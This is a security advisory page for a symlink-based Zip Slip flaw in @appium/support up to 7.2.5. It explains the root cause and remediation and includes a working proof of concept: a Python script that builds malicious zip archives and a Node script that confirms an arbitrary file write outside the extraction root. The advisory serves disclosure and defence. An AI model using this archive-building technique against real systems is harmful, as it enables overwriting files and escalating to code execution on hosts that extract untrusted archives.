GHSA-qfxx-c367-67f8: Path Traversal

Published Oct 15, 2026
·
Updated

Summary

CVE-2026-30973 (GHSA-rfx7-4xw3-gh4m) was a plain path traversal in the entry name. The containment check built an Error object without throwing it, so an entry literally named something like ../evil.txt was written outside the destination. That issue was fixed in @appium/support 7.0.6 by actually rejecting out of bound entry names.

This finding is a different vector that the 7.0.6 fix does not cover. The archive entry names here are completely legitimate (for example pwn and pwn/owned.txt, no .. anywhere), so every name based defense accepts them. The escape happens through a symbolic link. One entry is a symlink whose target points outside the extraction directory, and a later entry is a regular file whose name resolves through that symlink. The name based containment check never inspects the symlink target, and the extractor writes the symlink target verbatim, so the file lands outside the extraction root.

The two issues compared on the same patched version 7.2.5:

| | CVE-2026-30973 | This finding | |---|---|---| | Vector | one entry whose name contains .. | a symlink entry plus a file written through it | | Entry names | contain .. (illegal) | legitimate, no .. and not absolute | | What is missing | the .. name chec\k did not throw | name checks never resolve symlinks, and the symlink target is unchecked | | Entries needed | one | two | | Fixed in 7.0.6 | yes | no | | Status on 7.2.5 | blocked | still exploitable (proven below) |

Details

Root cause

The extractor applies only a lexical containment check on each entry's own name, then for a symlink entry it creates the link with the target taken straight from the archive:

js // @appium/support build/lib/zip.js (extractAllTo path), version 7.2.5 97 if (!isSubPath(dest, dir)) { // lexical only, never resolves symlinks 98 throw new Error(Out of bound path "${dest}" found while processing file ${fileName}); 99 } ... 142 await fs.symlink(link, dest); // link target comes verbatim from the archive

isSubPath compares normalized strings and does not call realpath, so for the file entry pwn/owned.txt the destination dir/pwn/owned.txt is lexically inside dir and the check passes, even though dir/pwn is a symlink created by the previous entry that points outside dir. The write then follows that symlink and escapes. The symlink target itself is never validated against the extraction root.

PoC

<img width="1443" height="411" alt="image" src="https://github.com/user-attachments/assets/95b257d6-bc1d-4407-b22b-557119fb376a" />

buildzips.py

python #!/usr/bin/env python3

import os, sys, zipfile, shutil

work = sys.argv[1] if len(sys.argv) > 1 else "/tmp/zswork" pid = os.getpid() shutil.rmtree(work, ignoreerrors=True) os.makedirs(work)

Test A: CVE-2026-30973 plain "../" path traversal in the entry name extractA = os.path.join(work, "extractA"); os.makedirs(extractA) escapeAname = f"escapeA{pid}.txt" # would land in work/ (outside extractA) escapeA = os.path.join(work, escapeAname) zipA = os.path.join(work, "cvevector.zip") with zipfile.ZipFile(zipA, "w") as z: z.writestr("../" + escapeAname, "CVE-2026-30973 plain traversal\n")

Test B: symlink entry whose target escapes, then a file through it extractB = os.path.join(work, "extractB"); os.makedirs(extractB) escapeB = os.path.join(work, f"escapeB{pid}"); os.makedirs(escapeB) zipB = os.path.join(work, "symlinkbypass.zip") with zipfile.ZipFile(zipB, "w") as z: sl = zipfile.ZipInfo("pwn") sl.createsystem = 3 # unix, so externalattr carries the mode sl.externalattr = (0o120777 & 0xFFFF) << 16 # SIFLNK | 0777 z.writestr(sl, escapeB) # symlink target is the file body fi = zipfile.ZipInfo("pwn/owned.txt") fi.createsystem = 3 fi.externalattr = (0o100644 & 0xFFFF) << 16 z.writestr(fi, "PWNED via symlink Zip Slip\n")

print("\t".join([work, extractA, escapeA, zipA, extractB, escapeB, zipB]))

zipslippoc.js

javascript 'use strict'; const fs = require('fs'); const path = require('path'); const support = require('@appium/support');

const [, , work, extractA, escapeA, zipA, extractB, escapeB, zipB] = process.argv;

(async () => { const ver = require('@appium/support/package.json').version; console.log([] @appium/support version: ${ver}); console.log([] CVE-2026-30973 was fixed in 7.0.6, so on this newer version the plain ../ vector should be blocked.);

// Test A: the CVE-2026-30973 vector console.log('\n=== Test A: CVE-2026-30973 plain "../" entry name ==='); let aBlocked = false; try { await support.zip.extractAllTo(zipA, extractA); } catch (e) { aBlocked = true; console.log([+] REJECTED by extractor: ${String(e.message).split('\n')[0]}); } const aEscaped = fs.existsSync(escapeA); console.log([=] ${aBlocked && !aEscaped ? 'BLOCKED, so CVE-2026-30973 is PATCHED in this version' : 'ESCAPED (not patched)'});

// Test B: this finding, the symlink bypass console.log('\n=== Test B: symlink entry + file written through it (this finding) ==='); try { await support.zip.extractAllTo(zipB, extractB); } catch (e) { console.log([i] extractor message: ${String(e.message).split('\n')[0]}); } const planted = path.join(escapeB, 'owned.txt'); const bEscaped = fs.existsSync(planted); if (bEscaped) { console.log('[+] ARBITRARY FILE WRITE OUTSIDE THE EXTRACT ROOT VIA SYMLINK CONFIRMED'); console.log( wrote : ${planted}); console.log( content: ${JSON.stringify(fs.readFileSync(planted, 'utf8'))}); } else { console.log('[-] symlink vector did not escape'); }

console.log('\n=== SUMMARY (same installed version) ==='); console.log(A CVE-2026-30973 plain ../ : ${aBlocked && !aEscaped ? 'BLOCKED (fix present)' : 'ESCAPED'}); console.log(B symlink bypass (this bug): ${bEscaped ? 'ESCAPED (still vulnerable)' : 'blocked'}); process.exit(aBlocked && !aEscaped && bEscaped ? 0 : 2); })().catch((e) => { console.error('ERROR', e); process.exit(3); }); use

Impact

An attacker who controls an archive that Appium extracts can write files to arbitrary locations writable by the Appium process, since the write follows a symlink to any target the archive specifies. Depending on where Appium runs this can overwrite a configuration file, drop a script into a startup or profile location, or replace a binary on the PATH, which can escalate to code execution. On a continuous integration runner or a device farm host the reachable paths include anything writable by the service account.

Affected Software

1 affected componentFixes available
npm/@appium/support<=7.2.5
7.2.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/@appium/support to a version that resolves this vulnerability.

    Fixed in 7.2.6
  2. Upgrade

    Upgrade @appium/support to a version that resolves this vulnerability.

    Fixed in 7.0.6

Event History

Oct 15, 2026
Advisory Published
via GitHub·08:18 PM
Data Sourced
via GitHub·08:18 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What conditions are required to exploit this issue?

An attacker must supply an archive containing a symbolic-link entry whose target points outside the extraction directory, followed by a regular-file entry whose path resolves through that link. The archive entry names can be legitimate and do not need to contain '..'.

2

Why does a name-based path traversal check not prevent this attack?

The containment check examines entry names but does not inspect symbolic-link targets. The extractor writes the symlink target verbatim, allowing a later file entry to resolve outside the extraction root.

3

Does the earlier fix for CVE-2026-30973 address this vector?

No. The 7.0.6 fix rejects out-of-bounds entry names, while this vector uses valid entry names and escapes through a symbolic link. The issue is described as reproducible on version 7.2.5.

4

How can an archive be identified as malicious for this issue?

Inspect the archive for symbolic-link entries targeting locations outside the intended extraction directory, especially where subsequent regular-file entries are placed beneath the symlink path. Names such as "pwn" and "pwn/owned.txt" may appear benign despite enabling the escape.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203